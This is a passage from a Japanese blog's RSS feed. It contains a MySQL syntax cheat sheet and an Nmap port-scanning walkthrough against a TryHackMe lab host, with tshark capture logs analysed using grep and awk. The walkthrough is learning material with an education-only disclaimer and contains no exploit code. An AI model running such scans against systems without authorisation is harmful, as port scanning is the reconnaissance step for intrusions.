<figure class="wp-block-image size-full"><img decoding="async" width="476" height="309" src="https://cybermemo.blog/wp-content/uploads/2025/12/ベン図_左外部結合-1.jpg" alt="ベン図_左外部結合" class="wp-image-606" srcset="https://cybermemo.blog/wp-content/uploads/2025/12/ベン図_左外部結合-1.jpg 476w, https://cybermemo.blog/wp-content/uploads/2025/12/ベン図_左外部結合-1-300x195.jpg 300w" sizes="(max-width: 476px) 100vw, 476px" /></figure>



<h2 class="wp-block-heading">結論</h2>



<p>外部結合は「ある／ない」を確認したいときに使える。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cybermemo.blog/when-to-use-outer-join/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>SQL構文メモ</title>
		<link>https://cybermemo.blog/mysql-sql-cheatsheet</link>
					<comments>https://cybermemo.blog/mysql-sql-cheatsheet#respond</comments>
		
		<dc:creator><![CDATA[miyuki]]></dc:creator>
		<pubDate>Sun, 14 Dec 2025 06:33:52 +0000</pubDate>
				<category><![CDATA[コマンド]]></category>
		<category><![CDATA[SQL]]></category>
		<guid isPermaLink="false">https://cybermemo.blog/?p=582</guid>

					<description><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/10/コマンド用アイキャッチ.jpg" class="webfeedsFeaturedVisual" /></p>はじめに 自分用のSQL構文メモ。MySQL用。 MySQLへのログイン データベース操作 データベース作成 データベース削除 データベース一覧確認 使用するデータベースの切り替え 現在使用中のデータベース確認 テーブル [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/10/コマンド用アイキャッチ.jpg" class="webfeedsFeaturedVisual" /></p>
<h2 class="wp-block-heading">はじめに</h2>



<p>自分用のSQL構文メモ。<br>MySQL用。</p>



<h2 class="wp-block-heading">MySQLへのログイン</h2>



<pre class="wp-block-code"><code>mysql -u ユーザー名 -p</code></pre>



<h2 class="wp-block-heading">データベース操作</h2>



<h3 class="wp-block-heading">データベース作成</h3>



<pre class="wp-block-code"><code>CREATE DATABASE データベース名;</code></pre>



<h3 class="wp-block-heading">データベース削除</h3>



<pre class="wp-block-code"><code>DROP DATABASE データベース名;</code></pre>



<h3 class="wp-block-heading">データベース一覧確認</h3>



<pre class="wp-block-code"><code>SHOW DATABASES;</code></pre>



<h3 class="wp-block-heading">使用するデータベースの切り替え</h3>



<pre class="wp-block-code"><code>USE データベース名;</code></pre>



<h3 class="wp-block-heading">現在使用中のデータベース確認</h3>



<pre class="wp-block-code"><code>SELECT DATABASE();</code></pre>



<h2 class="wp-block-heading">テーブル操作</h2>



<h3 class="wp-block-heading">テーブル作成（基本）</h3>



<pre class="wp-block-code"><code>CREATE TABLE テーブル名 (
フィールド名1 データ型,
フィールド名2 データ型
);</code></pre>



<h3 class="wp-block-heading">プライマリーキー・AUTO_INCREMENT付きテーブル作成</h3>



<pre class="wp-block-code"><code>CREATE TABLE テーブル名 (
id INT AUTO_INCREMENT,
フィールド名 データ型,
PRIMARY KEY (id)
);</code></pre>



<h3 class="wp-block-heading">テーブル削除</h3>



<pre class="wp-block-code"><code>DROP TABLE テーブル名;</code></pre>



<h3 class="wp-block-heading">テーブル一覧確認</h3>



<pre class="wp-block-code"><code>SHOW TABLES;</code></pre>



<h3 class="wp-block-heading">テーブル定義確認</h3>



<pre class="wp-block-code"><code>SHOW FIELDS FROM テーブル名;</code></pre>



<h2 class="wp-block-heading">フィールド（カラム）操作</h2>



<h3 class="wp-block-heading">フィールド追加</h3>



<pre class="wp-block-code"><code>ALTER TABLE テーブル名 ADD 追加フィールド データ型 AFTER 既存フィールド;</code></pre>



<h3 class="wp-block-heading">フィールド削除</h3>



<pre class="wp-block-code"><code>ALTER TABLE テーブル名 DROP 削除対象フィールド;</code></pre>



<h3 class="wp-block-heading">フィールド名変更</h3>



<pre class="wp-block-code"><code>ALTER TABLE テーブル名 CHANGE 旧フィールド名 新フィールド名 データ型;</code></pre>



<h3 class="wp-block-heading">フィールドのデータ型変更</h3>



<pre class="wp-block-code"><code>ALTER TABLE テーブル名 MODIFY フィールド名 データ型;</code></pre>



<h3 class="wp-block-heading">NOT NULL 制約の設定</h3>



<pre class="wp-block-code"><code>ALTER TABLE テーブル名
MODIFY フィールド1 データ型 NOT NULL,
MODIFY フィールド2 データ型 NOT NULL;</code></pre>



<h3 class="wp-block-heading">デフォルト値の設定</h3>



<pre class="wp-block-code"><code>ALTER TABLE テーブル名
ALTER フィールド名 SET DEFAULT 'デフォルト値';</code></pre>



<h3 class="wp-block-heading">プライマリーキー設定</h3>



<pre class="wp-block-code"><code>ALTER TABLE テーブル名 ADD PRIMARY KEY (フィールド名);</code></pre>



<h3 class="wp-block-heading">外部キー制約設定</h3>



<pre class="wp-block-code"><code>ALTER TABLE テーブル名
ADD FOREIGN KEY (外部キー列)
REFERENCES 参照先テーブル (主キー列);</code></pre>



<h2 class="wp-block-heading">ユーザー・権限管理</h2>



<h3 class="wp-block-heading">ユーザー作成</h3>



<pre class="wp-block-code"><code>CREATE USER 'ユーザー名'@'localhost';</code></pre>



<h3 class="wp-block-heading">現在のユーザー確認</h3>



<pre class="wp-block-code"><code>SELECT USER();</code></pre>



<h3 class="wp-block-heading">パスワード設定・変更</h3>



<pre class="wp-block-code"><code>ALTER USER 'ユーザー名'@'localhost'
IDENTIFIED BY '新しいパスワード';</code></pre>



<h3 class="wp-block-heading">権限付与</h3>



<pre class="wp-block-code"><code>GRANT 権限 ON データベース名.* TO 'ユーザー名'@'localhost';</code></pre>



<h4 class="wp-block-heading">主要権限一覧</h4>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>権限名</th><th>対象</th><th>できること</th><th>実務での主な用途</th><th>危険度</th></tr></thead><tbody><tr><td>SELECT</td><td>データ</td><td>データ参照のみ</td><td>参照専用、分析、レポート</td><td>低</td></tr><tr><td>INSERT</td><td>データ</td><td>レコード追加</td><td>登録処理、ログ保存</td><td>中</td></tr><tr><td>UPDATE</td><td>データ</td><td>レコード更新</td><td>ステータス・数量更新</td><td>中</td></tr><tr><td>DELETE</td><td>データ</td><td>レコード削除</td><td>物理削除が必要な処理</td><td>高</td></tr><tr><td>CREATE</td><td>構造</td><td>テーブル作成</td><td>開発作業</td><td>高</td></tr><tr><td>DROP</td><td>構造</td><td>テーブル削除</td><td>管理作業</td><td><strong>非常に高</strong></td></tr><tr><td>ALTER</td><td>構造</td><td>テーブル定義変更</td><td>カラム追加・変更</td><td><strong>非常に高</strong></td></tr><tr><td>INDEX</td><td>構造</td><td>インデックス作成・削除</td><td>パフォーマンス調整</td><td>中</td></tr><tr><td>REFERENCES</td><td>構造</td><td>外部キー制約作成</td><td>リレーション設計</td><td>中</td></tr><tr><td>ALL / ALL PRIVILEGES</td><td>全体</td><td>そのスコープ内の全権限</td><td>管理者・開発環境</td><td><strong>非常に高</strong></td></tr><tr><td>GRANT OPTION</td><td>権限</td><td>権限を他人に付与</td><td>DBA</td><td><strong>非常に高</strong></td></tr></tbody></table></figure>



<h2 class="wp-block-heading">データ操作</h2>



<h3 class="wp-block-heading">レコード追加</h3>



<pre class="wp-block-code"><code>INSERT INTO テーブル名 (フィールド1, フィールド2)
VALUES ('データ1', 'データ2');</code></pre>



<h3 class="wp-block-heading">レコード追加（全カラム指定）</h3>



<pre class="wp-block-code"><code>INSERT INTO テーブル名 VALUES ('データ1', 'データ2');</code></pre>



<h3 class="wp-block-heading">レコード更新</h3>



<pre class="wp-block-code"><code>UPDATE テーブル名
SET 更新方法<sup data-fn="8c6ba620-248a-45ad-b9b6-1dabe17cf914" class="fn"><a href="#8c6ba620-248a-45ad-b9b6-1dabe17cf914" id="8c6ba620-248a-45ad-b9b6-1dabe17cf914-link">1</a></sup>
WHERE 条件;</code></pre>



<h3 class="wp-block-heading">レコード削除</h3>



<pre class="wp-block-code"><code>DELETE FROM テーブル名 WHERE 条件;</code></pre>



<h2 class="wp-block-heading">SELECT文（検索）</h2>



<h3 class="wp-block-heading">全件取得</h3>



<pre class="wp-block-code"><code>SELECT * FROM テーブル名;</code></pre>



<h3 class="wp-block-heading">重複除外</h3>



<pre class="wp-block-code"><code>SELECT DISTINCT フィールド名 FROM テーブル名;</code></pre>



<h3 class="wp-block-heading">条件付き検索</h3>



<pre class="wp-block-code"><code>SELECT フィールド名
FROM テーブル名
WHERE フィールド名 比較演算子 '条件'
AND / OR / NOT フィールド名 比較演算子 '条件';</code></pre>



<h4 class="wp-block-heading">主要な比較演算子一覧</h4>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>演算子</th><th>意味</th><th>使用例</th><th>実務での主な用途</th></tr></thead><tbody><tr><td><code>=</code></td><td>等しい</td><td><code>age = 30</code></td><td>完全一致検索（ID、コードなど）</td></tr><tr><td><code>!=</code><code>&lt;&gt;</code></td><td>等しくない</td><td><code>status != '削除'</code></td><td>特定値を除外</td></tr><tr><td><code>&gt;</code></td><td>より大きい</td><td><code>score &gt; 80</code></td><td>閾値超過の判定</td></tr><tr><td><code>&lt;</code></td><td>より小さい</td><td><code>price &lt; 1000</code></td><td>上限チェック</td></tr><tr><td><code>&gt;=</code></td><td>以上</td><td><code>created_at &gt;= '2025-01-01'</code></td><td>開始日以降</td></tr><tr><td><code>&lt;=</code></td><td>以下</td><td><code>pdate &lt;= CURDATE()</code></td><td>今日以前など</td></tr><tr><td><code>BETWEEN</code></td><td>範囲指定（含む）</td><td><code>age BETWEEN 20 AND 29</code></td><td>年齢・期間指定</td></tr><tr><td><code>IN</code></td><td>いずれかに一致</td><td><code>status IN ('未処理','保留')</code></td><td>OR条件の簡略化</td></tr><tr><td><code>NOT IN</code></td><td>いずれにも一致しない</td><td><code>id NOT IN (1,2,3)</code></td><td>除外リスト</td></tr><tr><td><code>LIKE</code></td><td>部分一致</td><td><code>name LIKE '%山田%'</code></td><td>あいまい検索</td></tr><tr><td><code>NOT LIKE</code></td><td>部分一致しない</td><td><code>name NOT LIKE '%テスト%'</code></td><td>不要データ除外</td></tr><tr><td><code>IS NULL</code></td><td>NULL判定</td><td><code>deleted_at IS NULL</code></td><td>未設定データ抽出</td></tr><tr><td><code>IS NOT NULL</code></td><td>NULLでない</td><td><code>memo IS NOT NULL</code></td><td>入力済み判定</td></tr><tr><td><code>EXISTS</code></td><td>存在確認</td><td><code>EXISTS (SELECT 1 …)</code></td><td>サブクエリ存在チェック</td></tr><tr><td><code>NOT EXISTS</code></td><td>存在しない</td><td><code>NOT EXISTS (SELECT 1 …)</code></td><td>未対応データ抽出</td></tr></tbody></table></figure>



<h4 class="wp-block-heading">よく一緒に使う論理演算子</h4>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>演算子</th><th>意味</th><th>使用例</th></tr></thead><tbody><tr><td><code>AND</code></td><td>両方満たす</td><td><code>age &gt;= 20 AND age &lt; 30</code></td></tr><tr><td><code>OR</code></td><td>どちらか満たす</td><td><code>role = 'admin' OR role = 'user'</code></td></tr><tr><td><code>NOT</code></td><td>否定</td><td><code>NOT status = '削除'</code></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">並び替え</h3>



<pre class="wp-block-code"><code>SELECT フィールド名
FROM テーブル名
ORDER BY フィールド名 ASC / DESC;</code></pre>



<h3 class="wp-block-heading">件数制限</h3>



<pre class="wp-block-code"><code>SELECT フィールド名
FROM テーブル名
ORDER BY フィールド名
LIMIT 件数;</code></pre>



<h2 class="wp-block-heading">集計・グループ化</h2>



<h3 class="wp-block-heading">GROUP BY + 集計関数</h3>



<pre class="wp-block-code"><code>SELECT フィールド名, 集計関数
FROM テーブル名
GROUP BY フィールド名;</code></pre>



<h4 class="wp-block-heading">主要な集計関数一覧</h4>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>集計関数</th><th>意味</th><th>使用例</th><th>実務での主な用途</th></tr></thead><tbody><tr><td><code>COUNT(*)</code></td><td>行数を数える（NULL含む）</td><td><code>COUNT(*)</code></td><td>件数集計、レコード数確認</td></tr><tr><td><code>COUNT(フィールド)</code></td><td>NULLを除いた件数</td><td><code>COUNT(score)</code></td><td>入力済み件数の把握</td></tr><tr><td><code>SUM(フィールド)</code></td><td>合計値</td><td><code>SUM(amount)</code></td><td>売上合計、数量合計</td></tr><tr><td><code>AVG(フィールド)</code></td><td>平均値</td><td><code>AVG(score)</code></td><td>平均点、平均金額</td></tr><tr><td><code>MIN(フィールド)</code></td><td>最小値</td><td><code>MIN(price)</code></td><td>最安値、最古日付</td></tr><tr><td><code>MAX(フィールド)</code></td><td>最大値</td><td><code>MAX(price)</code></td><td>最高値、最新日付</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">別名（エイリアス）</h3>



<pre class="wp-block-code"><code>SELECT フィールド名 AS 別名
FROM テーブル名;</code></pre>



<h2 class="wp-block-heading">JOIN（結合）</h2>



<h3 class="wp-block-heading">内部結合（INNER JOIN）</h3>



<pre class="wp-block-code"><code>SELECT t1.フィールド, t2.フィールド
FROM テーブル1 AS t1
INNER JOIN テーブル2 AS t2
ON 条件<sup data-fn="d14036d2-dfad-4ab0-afb3-e980869f2a60" class="fn"><a href="#d14036d2-dfad-4ab0-afb3-e980869f2a60" id="d14036d2-dfad-4ab0-afb3-e980869f2a60-link">2</a></sup></code></pre>



<h3 class="wp-block-heading">外部結合（LEFT / RIGHT JOIN）</h3>



<pre class="wp-block-code"><code>SELECT t1.フィールド, t2.フィールド
FROM テーブル1 AS t1
LEFT / RIGHT OUTER JOIN テーブル2 AS t2
ON 条件;</code></pre>



<h3 class="wp-block-heading">完全外部結合（FULL OUTER JOIN）</h3>



<p>MySQLでは FULL OUTER JOIN は未対応</p>



<pre class="wp-block-code"><code>SELECT t1.フィールド, t2.フィールド
FROM テーブル1 AS t1
FULL OUTER JOIN テーブル2 AS t2
ON 条件;</code></pre>



<p>MySQLでの代替方法（UNION）</p>



<pre class="wp-block-code"><code>SELECT t1.フィールド, t2.フィールド
FROM テーブル1 AS t1
LEFT JOIN テーブル2 AS t2
ON 条件
UNION
SELECT t1.フィールド, t2.フィールド
FROM テーブル1 AS t1
RIGHT JOIN テーブル2 AS t2
ON 条件;</code></pre>



<p>※ UNION は重複行を除外する。重複を許可したい場合は UNION ALL を使用する。<br>※ WHERE 句で結合先テーブルの条件を指定すると、外部結合の意味が失われることがあるため注意。</p>



<h2 class="wp-block-heading">インデックス</h2>



<h3 class="wp-block-heading">インデックス作成</h3>



<pre class="wp-block-code"><code>CREATE INDEX インデックス名 ON テーブル名 (フィールド名);</code></pre>



<h3 class="wp-block-heading">インデックス削除</h3>



<pre class="wp-block-code"><code>DROP INDEX インデックス名 ON テーブル名;</code></pre>



<h3 class="wp-block-heading">インデックスの利用状況確認</h3>



<pre class="wp-block-code"><code>EXPLAIN SELECT 文;</code></pre>



<h2 class="wp-block-heading">トランザクション</h2>



<h3 class="wp-block-heading">トランザクション開始</h3>



<pre class="wp-block-code"><code>BEGIN;</code></pre>



<h3 class="wp-block-heading">確定</h3>



<pre class="wp-block-code"><code>COMMIT;</code></pre>



<h3 class="wp-block-heading">取り消し</h3>



<pre class="wp-block-code"><code>ROLLBACK;</code></pre>



<h2 class="wp-block-heading">SQLファイルの実行（データ展開）</h2>



<pre class="wp-block-code"><code>SOURCE ファイルパス;</code></pre>


<ol class="wp-block-footnotes"><li id="8c6ba620-248a-45ad-b9b6-1dabe17cf914">フィールド名 = フィールド名 + 1 など <a href="#8c6ba620-248a-45ad-b9b6-1dabe17cf914-link" aria-label="脚注参照1にジャンプ">↩︎</a></li><li id="d14036d2-dfad-4ab0-afb3-e980869f2a60">t1.フィールド = t2.フィールド など <a href="#d14036d2-dfad-4ab0-afb3-e980869f2a60-link" aria-label="脚注参照2にジャンプ">↩︎</a></li></ol>]]></content:encoded>
					
					<wfw:commentRss>https://cybermemo.blog/mysql-sql-cheatsheet/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Nmapでポートスキャンをしてみる</title>
		<link>https://cybermemo.blog/nmap-port-scan</link>
					<comments>https://cybermemo.blog/nmap-port-scan#respond</comments>
		
		<dc:creator><![CDATA[miyuki]]></dc:creator>
		<pubDate>Sun, 26 Oct 2025 07:50:12 +0000</pubDate>
				<category><![CDATA[TryHackMe]]></category>
		<category><![CDATA[コマンド]]></category>
		<category><![CDATA[セキュリティ]]></category>
		<category><![CDATA[Nmap]]></category>
		<category><![CDATA[tshark]]></category>
		<category><![CDATA[Wireshark]]></category>
		<category><![CDATA[ポートスキャン]]></category>
		<guid isPermaLink="false">https://cybermemo.blog/?p=540</guid>

					<description><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/10/コマンド用アイキャッチ.jpg" class="webfeedsFeaturedVisual" /></p>はじめに Nmapで実際にポートスキャンをしてみた。検証環境は TryHackMe の Nmap ルーム。 本記事の内容は教育目的のみに記載しています。実環境での悪用は犯罪行為です。必ず許可された演習環境でのみ実践してく [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/10/コマンド用アイキャッチ.jpg" class="webfeedsFeaturedVisual" /></p>
<h2 class="wp-block-heading">はじめに</h2>



<p>Nmapで実際にポートスキャンをしてみた。<br>検証環境は TryHackMe の Nmap ルーム。</p>


<div class="swell-block-postLink">			<div class="p-blogCard -external" data-type="type3" data-onclick="clickLink">
				<div class="p-blogCard__inner">
					<span class="p-blogCard__caption">TryHackMe</span>
					<div class="p-blogCard__thumb c-postThumb"><figure class="c-postThumb__figure"><img decoding="async" src="https://tryhackme-images.s3.amazonaws.com/room-icons/5d653d7a4e8a1a6d98379168cfc30ac0.png" alt="" class="c-postThumb__img u-obf-cover" width="320" height="180"></figure></div>					<div class="p-blogCard__body">
						<a class="p-blogCard__title" href="https://tryhackme.com/room/furthernmap" target="_blank" rel="noopener noreferrer">Nmap</a>
						<span class="p-blogCard__excerpt">An in depth look at scanning with Nmap, a powerful network scanning tool.</span>					</div>
				</div>
			</div>
		</div>


<p class="is-style-icon_info"><strong>本記事の内容は教育目的のみに記載しています。実環境での悪用は犯罪行為です。必ず許可された演習環境でのみ実践してください。</strong></p>



<h2 class="wp-block-heading">TCPスキャン</h2>



<p>使用頻度上位 100 ポートのみ（&#8211;top-ports 100）、スキャン中の詳細を表示（-vv）、pingをスキップ（-Pn）して<br>TCPスキャン（-sT）。</p>



<pre class="wp-block-code"><code>$ sudo nmap -sT --top-ports 100 -vv -Pn target ip</code></pre>



<p>openポートを発見。</p>



<pre class="wp-block-code"><code>Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-23 23:57 JST
Initiating Parallel DNS resolution of 1 host. at 23:57
Completed Parallel DNS resolution of 1 host. at 23:57, 0.00s elapsed
Initiating Connect Scan at 23:57
Scanning target ip &#91;100 ports]
Discovered open port 3389/tcp on target ip
Discovered open port 135/tcp on target ip
Discovered open port 80/tcp on target ip
Discovered open port 21/tcp on target ip
Discovered open port 53/tcp on target ip
Completed Connect Scan at 23:57, 7.02s elapsed (100 total ports)
Nmap scan report for target ip
Host is up, received user-set (0.37s latency).
Scanned at 2025-10-23 23:57:10 JST for 7s
Not shown: 95 filtered tcp ports (no-response)
PORT     STATE SERVICE       REASON
<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-swl-deep-01-color">21/tcp   open  ftp           syn-ack
53/tcp   open  domain        syn-ack
80/tcp   open  http          syn-ack
135/tcp  open  msrpc         syn-ack
3389/tcp open  ms-wbt-server syn-ack</mark></strong>

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.03 seconds</code></pre>



<p>tshark でログを取っていたので確認してみる。</p>



<pre class="wp-block-code"><code># tshark の結果を sT_result.txt へ出力
$ sudo tshark -i tun0 > sT_result.txt 
Running as user "root" and group "root". This could be dangerous.
Capturing on 'tun0'
237 ^C</code></pre>



<pre class="wp-block-code"><code># cat で全体のログを確認
$ cat sT_result.txt             
    1 0.000000000   host ip → target ip TCP 60 34450 → 111 &#91;SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=245774735 TSecr=0 WS=128
    2 0.000013296   host ip → target ip TCP 60 47774 → 113 &#91;SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=245774735 TSecr=0 WS=128
    3 0.000018708   host ip → target ip TCP 60 38474 → 135 &#91;SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=245774735 TSecr=0 WS=128
    4 0.000025294   host ip → target ip TCP 60 55670 → 5900 &#91;SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=245774735 TSecr=0 WS=128
    5 0.000030624   host ip → target ip TCP 60 46124 → 25 &#91;SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=245774735 TSecr=0 WS=128
    6 0.000035786   host ip → target ip TCP 60 59490 → 554 &#91;SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=245774735 TSecr=0 WS=128
    7 0.000041544   host ip → target ip TCP 60 38960 → 3306 &#91;SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=245774735 TSecr=0 WS=128
    8 0.000048233   host ip → target ip TCP 60 57882 → 110 &#91;SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=245774735 TSecr=0 WS=128
    9 0.000052118   host ip → target ip TCP 60 42396 → 3389 &#91;SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=245774735 TSecr=0 WS=128
   10 0.000059820   host ip → target ip TCP 60 37896 → 8888 &#91;SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=245774735 TSecr=0 WS=128
   11 0.377319586 target ip → host ip   TCP 52 135 → 38474 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
   12 0.377390839   host ip → target ip TCP 40 38474 → 135 &#91;ACK] Seq=1 Ack=1 Win=64256 Len=0
   13 0.378715797   host ip → target ip TCP 40 38474 → 135 &#91;RST, ACK] Seq=1 Ack=1 Win=64256 Len=0
   14 0.378932212   host ip → target ip TCP 60 47616 → 23 &#91;SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=245775114 TSecr=0 WS=128
   15 0.378957703   host ip → target ip TCP 60 43838 → 995 &#91;SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=245775114 TSecr=0 WS=128
   16 1.027607473   host ip → target ip TCP 60 &#91;TCP Retransmission] 37896 → 8888 &#91;SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=245775763 TSecr=0 WS=128
（省略）</code></pre>



<p>ログを絞って確認。</p>



<pre class="wp-block-code"><code># SYN 以外のログで絞ってみる
$ cat sT_result.txt | grep -v -F "&#91;SYN]"
   11 0.377319586 target ip → host ip   TCP 52 135 → 38474 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
   12 0.377390839   host ip → target ip TCP 40 38474 → 135 &#91;ACK] Seq=1 Ack=1 Win=64256 Len=0
   13 0.378715797   host ip → target ip TCP 40 38474 → 135 &#91;RST, ACK] Seq=1 Ack=1 Win=64256 Len=0
   28 2.268681269 target ip → host ip   TCP 52 135 → 38490 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
   29 2.268724628   host ip → target ip TCP 40 38490 → 135 &#91;ACK] Seq=1 Ack=1 Win=64256 Len=0
   30 2.268783378   host ip → target ip TCP 40 38490 → 135 &#91;RST, ACK] Seq=1 Ack=1 Win=64256 Len=0
   61 3.272603426 target ip → host ip   TCP 52 21 → 43260 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
   62 3.272698420   host ip → target ip TCP 40 43260 → 21 &#91;ACK] Seq=1 Ack=1 Win=64256 Len=0
   63 3.273334678 target ip → host ip   TCP 52 53 → 58022 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
   64 3.273357934   host ip → target ip TCP 40 58022 → 53 &#91;ACK] Seq=1 Ack=1 Win=64256 Len=0
   65 3.273693028   host ip → target ip TCP 40 43260 → 21 &#91;RST, ACK] Seq=1 Ack=1 Win=64256 Len=0
   66 3.274013386   host ip → target ip TCP 40 58022 → 53 &#91;RST, ACK] Seq=1 Ack=1 Win=64256 Len=0
   77 3.274796974 target ip → host ip   TCP 52 80 → 49068 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
   78 3.274865411   host ip → target ip TCP 40 49068 → 80 &#91;ACK] Seq=1 Ack=1 Win=64256 Len=0
   79 3.274951087   host ip → target ip TCP 40 49068 → 80 &#91;RST, ACK] Seq=1 Ack=1 Win=64256 Len=0
   84 3.387604406 target ip → host ip   TCP 52 3389 → 42396 &#91;SYN, ACK] Seq=0 Ack=1 Win=64000 Len=0 MSS=1288 WS=1 SACK_PERM
   85 3.387628199   host ip → target ip TCP 40 42396 → 3389 &#91;RST] Seq=1 Win=0 Len=0
  150 4.998246831 target ip → host ip   TCP 52 135 → 38502 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
  151 4.998329872   host ip → target ip TCP 40 38502 → 135 &#91;ACK] Seq=1 Ack=1 Win=64256 Len=0
  152 4.998587904   host ip → target ip TCP 40 38502 → 135 &#91;RST, ACK] Seq=1 Ack=1 Win=64256 Len=0
  232 6.277318520 target ip → host ip   TCP 52 3389 → 42398 &#91;SYN, ACK] Seq=0 Ack=1 Win=64000 Len=0 MSS=1288 WS=1 SACK_PERM
  233 6.277337412   host ip → target ip TCP 40 42398 → 3389 &#91;RST] Seq=1 Win=0 Len=0
  235 6.857444881 target ip → host ip   TCP 52 135 → 38504 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
  236 6.857524021   host ip → target ip TCP 40 38504 → 135 &#91;ACK] Seq=1 Ack=1 Win=64256 Len=0
  237 6.858089282   host ip → target ip TCP 40 38504 → 135 &#91;RST, ACK] Seq=1 Ack=1 Win=64256 Len=0

# SYN/ACK（open）で絞ってみる
$ cat sT_result.txt | grep -F "&#91;SYN, ACK]"
   11 0.377319586 target ip → host ip   TCP 52 135 → 38474 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
   28 2.268681269 target ip → host ip   TCP 52 135 → 38490 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
   61 3.272603426 target ip → host ip   TCP 52 21 → 43260 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
   63 3.273334678 target ip → host ip   TCP 52 53 → 58022 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
   77 3.274796974 target ip → host ip   TCP 52 80 → 49068 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
   84 3.387604406 target ip → host ip   TCP 52 3389 → 42396 &#91;SYN, ACK] Seq=0 Ack=1 Win=64000 Len=0 MSS=1288 WS=1 SACK_PERM
  150 4.998246831 target ip → host ip   TCP 52 135 → 38502 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
  232 6.277318520 target ip → host ip   TCP 52 3389 → 42398 &#91;SYN, ACK] Seq=0 Ack=1 Win=64000 Len=0 MSS=1288 WS=1 SACK_PERM
  235 6.857444881 target ip → host ip   TCP 52 135 → 38504 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM

# openポートの確認
$ cat sT_result.txt | grep -F "&#91;SYN, ACK]" | awk '{print $8}' | sort -n -u
21
53
80
135
3389</code></pre>



<p>SYN/ACK を返しているポートが open と判定されており、nmap のスキャン結果と tshark のログが一致していることが確認できた。</p>



<p>最後に、awk を使って TCP ハンドシェイク（SYN → SYN/ACK → ACK）が実際に成立しているかを確認してみる。</p>



<pre class="wp-block-code"><code>$ awk '    
  # 行中の「&lt;num> → &lt;num>」を1組だけ抜き出す
  match($0, /&#91;&#91;:space:]](&#91;0-9]+)&#91;&#91;:space:]]*→&#91;&#91;:space:]]*(&#91;0-9]+)&#91;&#91;:space:]]/, m) {
    if (m&#91;1]==21 || m&#91;2]==21) print  
  }      
' sT_result.txt
   52 2.896504834   host ip → target ip TCP 60 43260 → 21 &#91;SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=245777632 TSecr=0 WS=128
   61 3.272603426 target ip → host ip   TCP 52 21 → 43260 &#91;SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1288 WS=256 SACK_PERM
   62 3.272698420   host ip → target ip TCP 40 43260 → 21 &#91;ACK] Seq=1 Ack=1 Win=64256 Len=0
   65 3.273693028   host ip → target ip TCP 40 43260 → 21 &#91;RST, ACK] Seq=1 Ack=1 Win=64256 Len=0</code></pre>



<p>TCP ハンドシェイクが成立していることが分かる。</p>



<h2 class="wp-block-heading">SYNスキャン（ハーフオープンスキャン）</h2>



<p>使用頻度上位 100 ポートのみ（&#8211;top-ports 100）、スキャン中の詳細を表示（-vv）、pingをスキップ（-Pn）して<br>SYNスキャン（-sS）。</p>



<pre class="wp-block-code"><code>$ sudo nmap -sS --top-ports 100 -vv -Pn target ip</code></pre>



<p>openポートを発見。</p>



